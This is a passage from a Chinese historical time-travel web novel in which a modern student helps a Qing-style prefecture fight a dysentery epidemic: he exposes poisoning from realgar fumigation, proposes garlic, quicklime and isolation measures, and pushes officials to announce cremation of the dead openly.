城门被慢慢拉开,像一个野兽的深渊大口,黑洞洞的,又突然看见了里边萧条的街道,家家户户紧闭门窗,只有满脸笑容的门军小跑着上前。 段之缙心脏控制不住地加快,他的喉咙像被火燎了一般刺痛起来,味蕾上金属的味道在跳跃,难以抑制的恶心从胃部往上翻涌。 “停下!后退后退!” 段之缙一边干呕着一边呼喊,突如其来的举动叫两边的人都愣在原地,严把总和另一个姓潘的把总上前查看他的情况,却被段之缙捂住口鼻推开。 那两颗塞在鼻子中的雄黄已经因为剧烈的干呕喷了出来,带着丝丝拉拉的血迹,想堵回去又实在恶心。 他用力从衣服下摆撕下一块长布条,宽度仿佛现代的口罩,然后仔细地系在脑袋上遮住口鼻。 段之缙只是一个历史生,对传染病的知悉程度也就是生活常识,自己开始干呕,不知是不是感染了病毒,而他唯一能做的就是阻止飞沫传播,虽然也不知道这个疾病会不会因为飞沫传播。 他不敢抬头,两臂抱在面部捂住口鼻,瓮声瓮气地说道:“你们也撕下来布条,把口鼻捂住,不要再对着我说话。” 大家面面相觑,一时半会儿也不知如何是好,更不知应当如何安置他。 杨度从城内走出,他隔得老远就看见了有人在作呕吐状,愁得太阳穴突突跳,头痛欲裂,倚着城门大喊:“是不是染上了?” 段之缙喉咙里几乎要撕出血来,费力地回道:“学生也不知!” 这可真是麻烦,杨度挠挠自己日益稀疏的头发,吩咐门军把他领到城西的城隍庙中,那全都是染了疫毒痢的百姓,实则是让他们自生自灭,保全城内的其他百姓。 严把总却知道知府的未尽之语,上前阻拦:“这小子给你们府带来八千两的捐纳,府台大人还是不要把他送到城隍庙里去了。” “八千两!”杨度这回儿也不害怕了,脚倒腾地飞快来到段之缙身前,隔开了一丈的距离。 “你真要捐八千两?” 段之缙哆嗦着手从怀里掏出来荷包,府台从门军身上撕下来一块布,隔着拿到手中,拆开一看,的确是一小叠银票。 这样的话,倒是不好叫他再去城隍庙了。 杨度细想了一番,叫门军领着段之缙去了临时设立的义诊处,里边还有一个老大夫在那,正好看一看到底是不是痢疾,不过看他刚才呕吐的样子,十之八九没跑了。 义诊处白发苍苍的老大夫仔细把脉,问道:“是何时开始呕吐?” “就在前不久。” “之前可有其他症状?” 这一路上都十分正常,呕吐和嗓子疼痛都是突然发作的,段之缙如实告知。 “腹痛否?大便频频否?” “并无腹痛,也无大便频频。” 老大夫一脸疑惑,捻着两根白胡子:“真怪了,起病急骤,恶心呕吐,这的确是疫毒痢的症状。只是没有腹痛也没有泻肚,又不是疫毒痢的症状了。脉象也不似疫毒痢。”他转向府台大人回道:“大人,小老儿也看不出是什么症状,两天后若不发作则不是疫病,若发作了则为疫毒痢。” 杨度思索一番,看向段之缙:“你这样本府也不放心,府衙西堂屋条件简陋些,不过也方便了人来送水送饭,你在里边呆两天如何?” 这可比城隍庙舒服多了,段之缙点头应下被人领着去了府衙,这才发现西堂屋不止是条件简陋。 屋子在府衙最西南角,似乎从来没人来过,里头的灰能呛死人,段之缙一脚迈进去,差点把肺咳出来。 就这么脏兮兮地呆了两日,好消息是段之缙没有再吐,嗓子疼痛的症状也消失了,但是府台却给他带来了一个噩耗。 “同你一起来的那些兵,已经开始呕吐和腹痛了,偏你这样身子弱的倒是挺了过来。” 第38章 038感染还是中毒 “什么!”段之缙大吃一惊,“他们接触到病人了?” 可是他们都是永明府的兵士,送完物资之后应当返回永明府才是,怎么会接触到病人? 府台也是百思不得其解,眉头蹙成一个疙瘩,回道:“本府只叫他们在府城内歇一晚,休整过后再上路,谁知就那一晚便有不少人呕吐、腹痛,瞧着嗓子里都带出血。” 呕吐、腹痛,段之缙联想到了自己的症状,不就是呕吐、腹痛吗?不过嗓子里带血却不知是胃损坏还是喉咙损坏。 自己痊愈了,他们倒是发病了…… 这是痢疾吗? 段之缙又问道:“他们有泻肚吗?”倘若是痢疾,一定会拉肚子。 府台对此也不甚清楚,叫来了那日义诊处的老大夫。 陈老大夫近日被这群新来的人闹得疲惫不堪,本身城内就有疫毒痢,这伙人又得些奇奇怪怪的病,不仅不像是痢疾,反而像是中毒了。 可哪来的毒呢?他们的饮食和府衙内都是一样的,如何就他们这一伙人中了毒? 今日又被府台大人传到府衙,受一个小年轻的询问。 “老先生,我有一事想问问,那些跟我一块来的兄弟,他们的症状是痢疾吗?” 陈大夫难以决断:“按理说,腹痛、呕吐、发病急骤都是对症的。只怪在除一二人泻肚之外,其他人竟然都好好的,两天了也没有染上。再有,他们的脉象也奇怪,和现在的痢疾并非是一个症状,倒和你是一个症状。”然后揉搓一下手指,犹豫道:“要是非让老朽下决断,他们的症状倒像是吸入了毒烟瘴气。” 这回儿是府台大惊失色了,“这怎么可能?雄黄驱毒避疫,他们住的地方都被上好的 雄黄熏蒸过,如何能有瘴气?” 想了想又补充道:“若真是中毒,那定然不是我玉平府的问题,这个小子还没进城门就发作了,是吃了我府衙的伙食养了几日后才好转。” 老大夫一拍大腿:“这正是老朽疑惑之处,都用雄黄熏蒸过了,如何能再吸入毒气?可若是在城外吸入的,为何这位小哥痊愈了,那些当兵的却一点都不见好?” 段之缙在一侧竖着耳朵仔细听,越听越觉得不对劲,那日雄黄入鼻的臭味似乎还在萦绕。 他拉住了老大夫问道:“老先生,雄黄有何功效?果真有医书说雄黄能够驱疫?” 陈老大夫思索一番:“《太平圣惠方》里说,治时气瘴疫,消除恶气鬼魅精邪等,宜用雄黄;紫金锭一方中也说,用文蛤二斤,大戟一斤,山茨菇一斤六两,千金子去油十两,朱砂七两,雄黄五两五钱,麝香三两,研磨成细面作锭,能够治疗一切毒瘴。” 杨度也说:“雄黄本就是能够驱除百邪的药材,现在常用的避瘟丹也主要是用朱砂、雄黄、雌黄三味药材调配起来的。” 段之缙本就将信将疑,听见他们连朱砂都入药更是心惊胆战,问道:“老先生确信雄黄能够驱疫吗?小子的意思是,您真的见过熏蒸雄黄治好了瘟疫或是阻止了瘟疫扩散的实例吗?” 陈老大夫听他如此质疑医书上的教诲便很不乐意,冷哼一声嘲道:“这是祖祖辈辈传下来的,哪里有假?再说了,你长这么大难道没见过端阳节?如何能不知道雄黄驱蛇鼠虫蚁和疫病的功效?且被雄黄熏蒸过的地方,一切虫蚁死绝,人进去之后就是不生病啊!现在那些人住的院子里还熏着雄黄,就是为了能驱除瘟疫。” 段之缙听见那句“一切虫蚁死绝”时脑中一片嗡鸣,原来如此啊……雄黄到底能不能消毒杀菌尚未可知,不过它的烟有毒却是确凿无疑了! 就如现代的杀虫剂,效果好的产品往往毒性大,对人体的危害也大。 这下可好了,原本就中了毒,现在还熏雄黄,毒上加毒,他们还能挺几天啊! 他急忙问清了把总和兵士的居所,拽着府台就往那里跑,气喘吁吁,边跑便跟杨度解释:“学生大概知道了,是那雄黄的烟气有毒,这才叫学生和那些兵丁产生了中毒的症状!” 跑到了目的地,段之缙一脚踹开院门,院内黄白色的烟铺天盖地,一股大蒜的臭味直冲段之缙的面门,将他顶得一个踉跄。 很能看出来,杨度府台是真的害怕永明府总兵手底下的人死在玉平。 情急之下段之缙也顾不得什么,捂住口鼻往里冲,大喊道:“快停下!别烧了!”又一眼瞅见了旁边的水桶,硬生生提着桶把火浇灭了,放下时手一哆嗦,水倾到了雄黄上。 原本蒸腾的黄白色烟雾渐渐停下,段之缙把门大敞着,叫风将其吹散。 杨度猝不及防看了这一幕,药材紧俏的时候,上好的雄黄块和雄黄粉末泡在水里,成了一片黄汤子,他一口气没上来差点昏过去,两个衙役扶着府台又是拍背又是抚胸,终于叫他缓过来了这口气。 颤颤巍巍地上前,杨度想给段之缙一巴掌,思及眼前之人是给玉平府送钱的款爷,又能搭上童禀声的运粮队来,哆嗦着下不去手,最后欲哭无泪:“天杀的,这锅雄黄是要四处挪动着熏蒸的……” “大人,千万别再熏了,雄黄加热升起来的烟应当是毒气,我们这些人呕吐腹痛都是熏雄黄的原因。” 杨度本就哆嗦的手更是不稳,他指着段之缙气冲冲道:“你这个混账玩意儿,谁不知道雄黄有毒?谁还叫你们吃它了?这么多年了,都是用雄黄熏蒸的法子杀百疫的,毒死过谁了?还有,若他们是熏雄黄熏的,你还未进城门就吐,难道也熏雄黄了?” 段之缙寸步不让:“您也说了雄黄有毒,学生虽未曾直接食用雄黄,但也将其塞入了鼻子中,嗅了整整一个白天,倘若学生身子弱,或是对此极为敏感,如何能不中毒?且雄黄加热产生烟雾,扩散的范围更大,更容易被吸入肺中,倘若真是毒烟,中毒难道不是常理?” 正在两人争执不下的时候,落在后边的陈老大夫终于赶到了这里,看着一片狼藉和对吵的二人十分摸不着头脑,先上去劝阻。 结果他们见杏林中人来了,都拉住他叫他评理。 “陈大夫你说,雄黄驱疫是不是自古如此,熏蒸之法是一代一代传下来的!” 另一边段之缙说:“老先生,是不是您说的,我们这些人的症状不像是疫毒痢,而是中毒!且刚才府台也说了雄黄有毒,为何便不信它的气也有毒!” 陈老大夫甩开他俩的手替府台说话:“虽说你们的症状的确像是中毒,但熏蒸之法自古如此,之前也没有过差错,再者……” 段之缙无语,打断大夫的话,“府台大人,老先生,学生不与你们犟,现在找一只老鼠来,叫那老鼠去闻烟气,若是它行为异常,有呕吐惨叫之类的举动,你们认不认雄黄烟有毒!” 府台于医理一知半解,转头看向陈大夫,老大夫细想一阵,觉得此法可行,府台便差人去抓只老鼠,再弄一个瓮来。 瓮中放了一块刚从水中捞出来的雄黄块,湿淋淋的,段之缙把盖子盖得严严实实,将其扔在重新架起的火堆上加热,等着大家估计着雄黄已经变成烟了,差役用棍子把瓮挑出来,等着罐子的温度降到常温。 这年头连老鼠也不好抓,那瓮凉了好一阵,差役才找到一只倒霉的老鼠,瘦骨嶙峋,被掐住脖子迅速扔到瓮里。 然后便是等待。 那老鼠,一开始尚正常地叫唤着,先是惊慌,后来发现没有性命之忧,便正常地活动,隔着一层厚实的陶土,能听见它细细碎碎的脚步声,窸窸窣窣的。 后来应当是有了症状,原本正常的声响变得凄厉,它细小的爪子似乎在瓮壁上抓挠,想要离开这死地,可渐渐的,叫声越来越低,最后连一丝声响也听不见了。 瓮中恢复了安静。 府台震惊地看着段之缙,亲手打开了盖子。 里边的老鼠喘着粗气,嘴角是一团浑浊的泡沫。 陈老大夫捂住下半张脸用棍子挑着翻看还留有一口气的老鼠,的确是中毒的样子,嘴边浑浊的泡沫其实是吐无可吐,胃里的空气和粘腻的唾液混合出来的东西。 两人面面相觑:“这……原来雄黄烟真就如此致命。” 段之缙见事情的结果清楚了,松下一口气接着问:“老先生方才说之前用熏蒸之法并没有出差错,敢问是如何用的?” “都是用雄黄熏衣熏屋,通气后再住人。” “那敢问之前是如何熏蒸这间院子的?” 旁边那个差役像是听出了不对劲地地方,战战兢兢上前道:“叫军爷们进去歇着的时候,俺们特意关上了窗,没叫烟散出来。” 原来是这样! 府台一个巴掌拍到差役的后脑勺,气道:“你啊!” 差役也委屈得很:“俺们以为这是好东西来着……” 府台还要再打,被陈老大夫拦下:“大人何必再动气?既然知道了病因也就好办了,老朽开两副药给他们,几天便能好转。” 段之缙仍有些担忧:“老先生,之前我听您说,他们之中还有泻肚的人,会是痢疾吗?” “这也难说,中毒也会有泻肚的症状。再等两天看看吧。” 府台看他们商量得有来有回,痛苦地蹲下捂住脑袋,明明才不到五十的年纪,头发已经白花花一片了,全都是来了玉平这几个月长出来的。 “这可如何是好啊……” 他抱着头嘀嘀咕咕,真还就不如不知道雄黄烟有毒,接着把它当救命稻草呢,起码能有个心理安慰,现在倒好了知道这东西会害死人命,一时半会也找不到替代之法。 段之缙也跟着蹲在府台身边,提议道:“学生知道酒也可以消除疫病,不能用酒液擦拭?” 府台看了他好一阵,好悬没动手打他,无语地回道:“酒是粮食造,你自己想想玉平可能有那么多酒水吗?” “那醋呢?熏醋之法也可。” “醋也是粮食酿造啊!” 段之缙想了好一阵,愈发痛恨自己不是学理的,要不然得派上多大用场,只能先安慰府台,医书这么多,只要勤翻看一定有替代之法。 第39章 039疫源 几天前熏雄黄之法被弃而不用,连常驻城隍庙的大夫都重新拿起了医书,寻找驱疫之法。 大家聚在一起,每个人之间隔得老远,口鼻和眼睛都遮挡住,谁也不贴近谁,医书也是自己找自己的,互不打扰。 看了三天多,永明府的士兵都养好了身子,严把总领着一半的人回永明,又将秦先生带了过来,可到现在他们都没找到合适的替代之法。 这不应该是棘手的事情才对,医书所载驱疫之石药甚多,譬如朱砂,只是段之缙好歹把他们拦了下来。 若说雄黄是什么他不知,朱砂这种常用来炼丹的东西,保准吃死人,因而提出矿石一类全都不用,最好能找着药草。 这下子可供选择的范围少了许多。 有大夫说新鲜苏子叶塞到鼻子中可以隔绝瘟疫,可现下时局又去哪里弄来新鲜的苏子?又有人说白檀香、沉香、麝香可避疫,似乎是没问题,可这些香料大多价格高昂,就算是卖了府衙也弄不到那么多的香药。 终于,在这个天气甚是晴朗的早晨,有一个名唤常百草的年纪轻轻的小大夫,从《本草从新》中找到了一味药材——大蒜。 常百草把手里的药书扔到桌子上,欣喜若狂:“书中说了,大蒜能够辟秽驱邪,解暑气,辟瘟疫,且这东西比之一般的草药更为便宜,离咱们不远的昌乐府就盛产大蒜,现在五月份,大蒜也差不多长好了,即便是没长好也不要紧,不必非取蒜头!” 大蒜…… 这个词跳到段之缙的脑子中,转着圈地滚,紧跟着跳出来了另一个词: 大蒜素! 他在现代的时候,老人们常说吃大蒜能够杀菌消毒,正是因为大蒜素有杀菌的功效。之前还常见关于《红楼梦》中林黛玉所患疾病的讨论,说风湿性心脏病和结核病的都有,而想要救治,大蒜素应当是最为容易获得的东西。 段之缙问:“可有说大蒜如何使用?” 常百草答道:“捣成蒜汁儿和其他的药材配比搓成丸药食用。我看其他的药材也不难获得,制作的方法也简单,用药也方便,不必熬煮只需要分发即可!” 这可真是天大的喜事了! 正当常百草和段之缙两个人高兴的时候,陈大夫摇摇头:“不可,大蒜味辛,气热,极为容易刺激人身,患痢疾之人本就上吐下泻,胃都要折腾成一张纸了,再用大蒜只会加剧症状,不会有什么好效果的。” 此言甚是有理,蒜的刺激性极大,即便是一般肠胃不好的人都应当避免食用,何况这些病患呢?倘若熟食,不知道大蒜素会不会高温失活。 不过,这东西用在哪里不是用?能够进行环境消毒也甚好。因而段之缙提议道:“不如将丸药分发给身体康健没有患病的人食用,当作预防,然后在起病之所泼洒蒜汁儿用以灭瘟。” 几个大夫商量一番,都觉得可行,便叫人去和府台大人说。 解决完了这个问题,段之缙还有一事不明,那就是病患所待城隍庙的状况,正巧这里不少都是城隍庙过来的大夫。 “小子对此病有一些事情不明,请各位先生指教。” 大家便都开口叫他问。 “小子听说患病之人都要到城隍庙中安置,不知城隍庙中可有痊愈之人?” 几个大夫叹一口气,不忍心说,只有常百草回道:“有倒是有,只是甚少……且还有反复发作的百姓,最后还是……” “他们全都是上吐下泻,最后出血而亡的吗?” 大多数人称是,却有一个老大夫细思片刻回道:“不全是,老夫曾见一青年人是呛死的。他吐得太厉害,许是秽物直接进了肺部,人咳了两声结果进的更多,当场就没了。” 他这么一说,其他人也多多少少想了起来,竟找出两三个呛死的。 段之缙却想到了另一层,那就是秽物的处理,“小子想问,他们呕吐与泻出来的东西都是如何处理的?” “要是一般的处理方式,自然是焚烧最好。不过这是痢疾,泻出来的同吐出来的都成了水,只能填土掩埋。” 没有经过消杀的秽物直接掩埋,段之缙不学医都知道风险甚大。 这些东西烧不了,高温如何呢?可是想要加热,总不能煮沸了去。 有了!虎门销烟不就是用生石灰与海水混合放出大量的热来销烟的吗? 想到此处,段之缙看看分隔开坐的大夫们,笑道:“学生对医药之类一窍不通,可多少知道些常理。现在瘟疫多发,大家都不敢靠近病患,连他们接触过的东西都要拿水烹煮,想来这样也能断绝疫病……” 尚未说完,众人的脸色当即变得不好了,许是疑他要提议先烹煮秽物再行掩埋,幸好这个小子没有疯到这个程度。 “学生想,不如将秽物置于大坑中,混上生石灰再填土,这样干净些。” 常百草眼睛一亮:“这法子好!咱们省内不缺白灰,不是紧俏物!” 山东省是盛产白灰的地方,有些地方都在自家院子里设窑炼白灰,这东西也不用追求什么纯度,只要和上水能发热,怎么着不行呢? 段之缙又补充道:“秽物是最容易叫人生病的东西,再者病患之间相互染病的情况也不少,若能将他们分隔开,未尝不是一件好事。也不必太过正式,只要能支起来木板不叫他们睡在一处就行,一人再发两个桶收集秽物,不要弄得到处都是,这样也方便了差役收拾。先生们觉得如何?” 几个大夫接头商议一番也觉得可行,原本不自觉皱起来的眉头也松下,露出点笑模样。 事情都吩咐下去,大夫们连夜研究医书重新开方,府台虽然着急上火却也想出了法子去弄大蒜等药材和生石灰,又连夜找人去城隍庙里支木板,大体弄了个样子。 在这闹大灾的时候,什么高低贵贱,都成了一根绳上的蚂蚱,穷人活不了富人也不是那么好活,乡绅们不约而同,有钱捐钱有粮捐粮,药材铺子也不管什么钱多钱少,把草药贱价卖给了官府。后来木板不够了,府衙拆了一部分堂屋,富户们取下了自己“乐善好施”的匾额捐给官府,穷人家把攒的棺材板都拿了出来。 幸得新的方法管用,城隍庙那里果然安生了下来,病患们不再持续性地上吐下泻,一直泻出血来。许多人情况好转,只不断泻肚,却不再呕吐了。 段之缙又想起了生理盐水这回事儿,一千克的水配上九克的盐,吩咐人按照一千比九的比例配置盐水,每日就用这个水煮粥米,将最上边米粥水给呕吐严重的病患饮用,防止呕吐时米粒反流呛到呼吸道内把人呛死,还能加速吸收防止脱水。下边米粒厚些的就给情况好转,只泻肚的病患食用,增一些力气。 也不知道是此法管用还是之前的蒜汁儿和隔离措施管用,眼见着病患们的情况越来越好,甚至有不少痊愈之人出了城隍庙,大夫们观察一段时间后便叫他们与家人团聚去了。 新的医治之法从府城往周边的县城和村子里传播,很快各县和各村收容病患的庙宇都照此治疗患者,不少人渐渐康复,杨度这几个月没松下的气才松了下来。 此次治疫如此之速,说不得还会往上升一升,即便不升也能受到朝廷的表彰。 只不过他现在高兴得太早,这边城隍庙里一批批的病人出去,新的病患又一批批地进来,且 随着天气愈发炎热,患者愈来愈多,那些混着蒜汁儿的丸药似乎是一点用也没管,大家又从医书中找到了“路路通”和“苍术”两种药草,混上雄黄燃烧熏蒸房间,通风后再进去居住,可仍是没有一点作用,病患愈发多了。 永明府的两位把总是官身,和府台大人一起整日奔波在城中查看疫情的情况,秦先生本身就懂一些医理,和带着武器的士兵去周边的村落和县城探查,记录各地疫毒痢的发病情况,段之缙也没闲着,在府衙中分析玉平府城内新增病患的情况,越看越觉得不对劲。 这病估计着也是嫌贫爱富的,从一开始便极少有中上之家感染,贫民感染却是极多,甚至有多次感染的情况。 可是他们之间的差别是在什么地方呢? 城内并无耕地,且旱了两年,地主家也没有余粮,大家吃的都是从外地来的粮食或是朝廷赈灾粮。即便地主家有余粮,富户和贫瘠之家吃的东西不一样,可府衙吃的却和贫民一样,怎么府衙的人极少感染呢?尤其是许多差役还在城隍庙中当差,如此密切地接触病患都没有感染。 水也是都是一条地下河凿出来的井水,没有半分区别。 难道是因为富户为了不去城隍庙受苦隐匿了病患? 段之缙去问杨度,杨度当即否认:“不可能。富户患疾本来就不会去城隍庙中,李尚明老人将家中的客栈空了出来专门安置病人,他们没必要隐匿。再者他们也隐匿不了,现在除了几家开药铺的,谁家还有药材用?都是官府来出。就连大夫也全都被本府征集了起来,这城里谁得了病,大夫第一个知道,本府就是第二个,绝无隐匿!” 段之缙听了先是一愣,讥笑道:“学生还以为这大疫之时不分贵贱呢,原来乡绅们什么时候都是乡绅啊!” 府台却笑他年少无知:“你以为如何?现在疫毒痢,朝廷的那些赈灾之物能吃几顿救几个人?能撑到现在没有酿成太大的灾祸,都要靠城中的富户捐款捐粮。就比方这草药,前些日子从外边买的没运到玉平时,是城里的药材商把一大批草药半卖半送捐给了官府才够用。若不是如此,本府还管他们?愿意死哪就死哪吧。” 段之缙现在倒真是佩服了,之前那位府台在的时候,可不见这些地主富户如此慷慨,杨度来了却能叫他们出血。 不过得到了府台的答案,疫病的事情就更奇怪了,难道是因为富户平日里吃得好,所以抵抗力强?可情理不通,即便是有钱人抵抗力强,但是老年人呢?难道吃的好,老年人比贫人青年的抵抗力都强? 这其中必然有其他的疫源。 段之缙百思不得其解,急上头了甚至想要去一户家人染疫的贫家吃住一段时间,看看到底是什么地方不对,可到底还是惜命没敢去,如今到处询问现在每家每户是如何防疫的。 自上次段之缙想出的法子管用后,常百草便喜欢来与段之缙商量些事情,虽然小段弟弟不通医药,却很有一些奇思妙想,上次的盐水就很管用。因而段之缙有疑问的时候,常百草第一个过来解答。 常百草喜欢记东西,随身携带了一根炭笔和一本小册子,这本来是画手常用的东西,现在被他用来记录此次瘟疫的情况。 翻开小册子,常百草迅速地寻找,然后答道:“现在城隍庙那些病患的治疗都是按照咱们当初说定了的法子来,你也知道。城内的百姓除了吃丸药避瘟疫,还会在窗户、门口和房梁上悬挂雄黄、大蒜之类的东西。吃的米粮里也提前放上了大蒜,害怕有污秽的疫气。府台还叫差役挨家挨户查看过了,每家的水井都投入了花椒、赤小豆,扔过了大蒜。你有什么想法吗?” 往井水里放花椒、赤小豆之类的香药是此处防疫的手段,因为段之缙不太清楚这其中的原理便任其自为,只因它们原本也无毒,又容易得到。 现在看来实在是没有什么奇怪的,难道真的是营养条件不同产生的差异? 段之缙冥思苦想,常百草还催着他回答,前者苦笑一声:“吃的一样的米粮,喝的也都是一样的水,我也想不出什么。” 两人俱深深地叹一口气,愁得眉间两道深沟。 第40章 040火葬 日子越过越叫人胆战心惊,来山东才一个月,六月初的太阳便跟火球一样挂在天上,偶尔又会下暴雨,天气闷热非常。 潮,热,和看不见的疫,终于叫这场灾祸发展到了意料之外的地步,现在不止是贫民,连中上之家都出现了病患。 可玉平府能弄到的粮食与药草,也就那些了,人只能吃些照见影的粥水,用一些积攒的丸药,又因为场地和物资难以支撑那么多的病患,城隍庙中再次出现了尸体。 一个,两个,然后身子叠着身子,一个接着一个地被抬走。 做薄木棺材的速度,跟不上人死的速度,木材垒着,却收敛不了那么多尸首,为了留一个全尸,也只能放在窖里,等着新棺材做出来再放入,等着疫症过去再叫家人领回。 血肉在看不见的地方腐烂,所有人都隐有预感,如果再不处理,这就会成为新疫病的温床。 这天又下起了雨,天黑压压的,似乎就在人的头顶,云层中闪着光,电像布雨的龙一样在层层黑云中穿梭,发出爆裂的轰鸣声,天地亦为之变色。 府衙内,一群人分散坐着,段之缙和秦先生也在其中,大家等着府台大人来。 府台是从城隍庙过来的,身上的蓑衣还嘀嗒着水,留下湿漉漉的脚印,他将雨具随手一抛扔在地上,也不进堂屋,就在门口的台阶上坐下了。 杨度疲倦地揉一揉眉心,一整天没喝水,说话仿佛鸭子叫。 “今天又把大家聚在一起,是为了再商讨一下,看看有什么别的办法,这么长时间了,一点也没见好。” 大家面面相觑,一个老大夫缓慢开了口:“大人,那些先别说,窖里的尸首怎么办?眼看着天越来越热,要是尸首不能及时处理,恐怕还……” 他那些未尽之语都清楚得很,大家也都明白如何处理是最好的。其实也不难,一把火连着疫病和麻烦一块带走。 可没有人敢提出来,大家都等着,等着哪一个不怕遭报应下地狱的人说这一句话。 但是安安静静的,谁也没再出声,最后大家不约而同地看向府台,等着他说话。 府台自然也知道他们的意思,好几次话都到嘴边了,还是硬生生顶着那口气不想说,但他自己也清楚,也许再死两天人,这口气就顶不住,“焚尸”二字就会石破天惊一般炸出来。 可现在,这样丧尽天良的字眼,他如何说得出口。 秦先生吧嗒吧嗒地抽烟,段之缙看着沉默不语的众人也清楚这其中的机锋,心里沉甸甸的,人命化作一块块石头压在上边,压得他快要喘不过气了。 左右他不是本地人,弄完了这一遭就回京去了,难道还有人能追到京里去砍他?段之缙故作轻松,耸了耸肩膀道:“大家不好说,那就我来说吧……”秦先生吓一跳,赶紧捂他的嘴,却被段之缙挣开,学生镇定地看着先生,眸子里清澈见底。 “先生,我又不是山东人,临了还是要和您一块儿回京去的,说了这些话也不打紧。可是杨大人他们都是要长留玉平的,若是他们提出焚尸,以后还能在这里呆吗?” 秦先生定定地看着他,干裂的嘴唇翕动,最后也没有说出什么来。 其实缙儿说得也 没错,最适合说这句话的就是段之缙和自己。 段之缙看着望向自己的众人,扬声说道:“现在的天气越来越热了,尸首这么放着早晚酿出祸来,今天便由我提议焚烧尸体,保住整个玉平。” 杨度有些浑浊的眼睛里雾蒙蒙的,罩着一层水,他从台阶上站起来,鞋底在青石板上蹭,犹豫了一番还是开了口:“你到底知不知道,说出来这句话意味着什么?” 这个想法大家都有,为什么偏偏要选一个人来说?不过是因为焚尸这样的大事没法偷偷摸摸地干,瘟疫过了家属来要亲人的尸首时,你要拿出一个交代,而提出这个主意的人就是交代。如若焚尸也没能控制住灾祸的话,更应该叫提议者给大家伙一个交代。 段之缙笑道:“学生清楚得很,也知道自己该干什么。”他环视垂首的众人,眼珠又看向了杨度,“大人,你准备怎么做?” 杨度狠狠跺脚,把泥土踩下去,恨声道:“先瞒着吧,烧完了,这段日子过了你们回京去,再跟百姓们说,能瞒一天是一天。” 段之缙却摇摇头:“大人,倘若这样,叫我来提议根本没有任何作用,到时候不仅百姓们骂你,同僚参奏的折子都要把你淹了。而且百姓们未必不能答应。” “你没当过官不知道……”杨度刚要解释,又被段之缙打断:“学生的确没当过官,可学生知道‘为政者,宁死而不可失信于民,则民亦宁死而不失信于我’的道理,焚尸这样的事情,倘若做出一副偷偷摸摸的样子,不就是失信于民吗?大人便再也不要想为政一方了。” “那你说,你说要怎么办?” “开诚布公。” 这四个字像是滚油里滴进了凉水,屋子里沸腾起来,大家隔着老远都要叽叽喳喳,绝大多数人都认为不可行,秦先生也当即否定了这个主意:“不行!这个事儿绝对不行,老百姓不把你生吞活剥了才怪!” 段之缙却不以为然,“诸位先听我说完我的打算……” “你一个孩子!能有什么打算!”秦先生现在暴躁得很,刚才就不应当叫段之缙说话! “我即便是一个孩子,为何就不能有打算呢?” 杨度也叫众人停下,让段之缙说完。 “学生的打算是这样的,先叫府台大人去说通乡绅,只要有一个人愿意将自己的亲属火葬,那事情便简单得多了。” 杨度眼皮子一跳:“你这话说得容易,如何能有人愿意?” 段之缙回道:“所以我才有打算!知府大人完全可以跟他们说,愿意火葬保全整个府城是天大的善举,其心胸万世不见,要在疫后为第一个火化的人立庙,从此府衙出钱供奉。这点钱府衙总归有吧?” 杨度寻思一番,突然觉到了此法的妙处。瘦死的骆驼比马大,即便是地主家里没余粮,等着这次大灾之后,先恢复起来的也是乡绅,他们想要的可不只是银钱土地,名声也宝贝得很,这样的话,想必能有人愿意开这个头! 他脸上有了喜色,修改了刚才的提议:“咱们找空旷的地方先设一个差不多的庙宇,然后选一天,把大家伙都召集起来,也不要多少人,一家一户出一个就成,找个空旷的地方把要火化的消息公布,然后当众火化第一个善人,立牌位,将残灰送入庙中供奉。” 周围人听了都觉得这个主意好,段之缙又说道:“只是,这件事情不能只叫乡绅得利,跟他们承诺,火化后即便是平民百姓也能立牌位于庙宇,受朝廷的香火,还可以承诺大家每年春秋两祭,百姓们应当不会太过抗拒了。” 这下子事情圆满了,可仍有人站起来说:“这难保不会被当作站着说话不腰疼,咱们这些人都是先用药的,染上疫毒痢的可能性不大,不能以身作则的话,难防老百姓们心里有疙瘩,万一……” “我有法子!”常百草拍拍自己的大腿站起来,朝着大家一拱手:“咱们可不是站着说话不腰疼。小子学医的日子短,比不得老先生们医术高明,这些日子除了跑跑腿也没有别的用处。不如叫我去和染过疫的人家同住,倘若能够通过这种方式找到疫源最好,即便是找不到也能堵住悠悠众口,不能叫别人说咱们是吃白饭的!” 老大夫们立刻反对,这法子也太险了,搞不好常百草自己都要搭进去,段之缙也不赞同,可常百草自己却异常坚定。 “诸位何必多言?我若畏死,当初就不会学医!此疫肆虐,百姓惶惶,若不寻其根源,何以根治?”他说完,看着着急的段之缙一笑:“小段兄弟,你是读书人,日后要做官,现在养爱民之心,所以我刚才没有说一句反对的话。而我是学医的,日后要悬壶济世,养一颗医者仁心,我希望你也不要反对。那天我们还在说呢,疫源到底是什么,很快……很快就可以知道了。” 大家被他的赤诚感动,也不好劝阻,只唉声叹气地又商量了一次药方重新配药。最后确认了一次,拟出一个章程:只要找到愿意将亲人火化的乡绅人家就立刻叫差役们选地建一所“万灵祠”,祠堂建好时召集大家,公布火化的消息。 目前为止乡绅家里去世的人极少,三日前方家有一位老祖宗去世,摆在灵堂内尚未安葬,府台上门商议此事,谁知人家的子孙却不图名,只想叫老祖宗入土为安,好好吃子孙们的供奉。 幸好,虽然不应当说幸好,但在府台大人眼里就是“幸好”,刘家的老太爷没抗住咽了气。 刘老太爷生前是宁西省一个县的县令,乞骸骨后回乡安度晚年。这样的人家是不愁吃穿的,即便是如今也少不了刘家的嚼用,最好的是一个字——名!子孙们如何能不知道长辈的心愿?因而商议了一番便做出了决定,愿意将老太爷火葬,可条件便是将“万灵祠”改为“刘公祠”。 这原本祭祀罹难者的地方成了老刘家一家的庙了,府台却打起了其他的主意。 他故作为难道:“这祠堂本是要从府衙中出钱,祭祀所有染疾而死之人的,怎好叫‘刘公祠’?” 刘家老大却笑道:“那便不从府衙中出钱,我们刘家自己出钱盖祠堂,只要府台大人答应春秋两祭是以玉平府的名义进行,我刘家还能出钱在‘刘公祠’旁边再建一座祠堂,仍叫‘万灵祠’,只不过是陪祀。” 府台大人仍是为难:“这以后的春秋两祭?” “也是我刘家出钱。” 这下好了,府台大人一文钱都不用出干成了这件事,差点没憋住脸上的笑,当天晚上就把好消息跟众人说了,大家等着“刘公祠”和“万灵祠”破土动工。 六月中旬的时候,在城北处,两座尚显简单的祠堂便大致建设完毕,差役们也挨家挨户通知了消息,等着两日后在城北聚集,由段之缙将这个消息告诉黎民百姓。 这一天是个酷暑天,大家按照府台大人的吩咐掩好口鼻分隔站开,惊讶地发现原来空旷的城北起了两座祠堂,而祠堂前还用柴火架起了一个高台,少有的几个识字的人认出来,这二祠分别叫“刘公祠”和“万灵祠”。 